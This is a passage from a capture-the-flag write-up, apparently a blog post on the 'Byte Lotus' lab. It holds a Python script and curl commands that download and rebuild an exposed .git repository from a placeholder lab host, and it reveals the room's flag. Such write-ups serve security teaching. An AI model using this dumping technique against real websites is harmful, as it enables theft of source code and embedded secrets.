&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;write_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OUT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;null&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="n"&gt;entries&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;null2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;null2&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;sha_start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;null2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="n"&gt;sha&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sha_start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sha_start&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sha_start&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;entries&lt;/span&gt;

&lt;span class="c1"&gt;# Read HEAD
&lt;/span&gt;&lt;span class="n"&gt;head_raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/.git/HEAD&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HEAD: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;head_raw&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;head_raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ref: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;ref_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;head_raw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="n"&gt;commit_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/.git/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ref_path&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;commit_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;head_raw&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Commit hash: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;commit_hash&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Fetch commit
&lt;/span&gt;&lt;span class="n"&gt;commit_raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fetch_obj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commit_hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;commit_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commit_raw&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Commit:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;commit_data&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;commit_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;tree &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;tree_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Tree hash: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;tree_hash&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Fetch tree
&lt;/span&gt;&lt;span class="n"&gt;tree_raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fetch_obj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tree_hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;tree_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tree_raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;entries&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tree_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;downloaded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sha&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;100644&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;100664&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;blob_raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fetch_obj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;blob_raw&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;blob_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blob_raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;null&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blob_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blob_data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
            &lt;span class="nf"&gt;write_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;downloaded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    -&amp;gt; Written &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; bytes)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Downloaded: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;downloaded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffdi9q9pawnkxx6yalder.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffdi9q9pawnkxx6yalder.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Byte Lotus — .git Source Code Disclosure
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;http://MACHINE_IP:8080&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Very Easy&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{byt3_l0tus_n3v3r_f0rg3ts}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step-by-Step
&lt;/h2&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1 — Initial Reconnaissance&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Check the homepage and response headers to identify the tech stack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP:8080&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding:&lt;/strong&gt; Werkzeug/3.0.1 Python/3.12.3 — Flask/Python app. Footer reads "build staging", suggesting a development build with possible source exposure.&lt;/p&gt;

&lt;p&gt;Also checked &lt;code&gt;/robots.txt&lt;/code&gt; — returned 404 (nothing there).&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2 — Check for .git Exposure&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Check common source-code disclosure paths.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NUL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-w&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP:8080/.git/config&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP:8080/.git/HEAD&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding:&lt;/strong&gt; &lt;code&gt;/.git/config&lt;/code&gt; → 200 OK. &lt;code&gt;/.git/HEAD&lt;/code&gt; → &lt;code&gt;ref: refs/heads/main&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The entire &lt;code&gt;.git&lt;/code&gt; directory is exposed.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3 — Dump the Git Repository&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Fetch the commit object to find the tree hash, then walk the tree to find file blobs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decompress the commit object to extract the tree hash: &lt;code&gt;fa45dbd69394ea9e13683d9efb6a0220daac59d4&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Fetch and parse the tree object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tree contents:&lt;/strong&gt;&lt;br&gt;
| Mode | File | Hash |&lt;br&gt;
|------|------|------|&lt;br&gt;
| 100644 | README.md | a5965c580fee91d852e5b19a8290da02d2926523 |&lt;br&gt;
| 100644 | app.js | 2575ab073f67615a27135663ed36794c2d2584fb |&lt;br&gt;
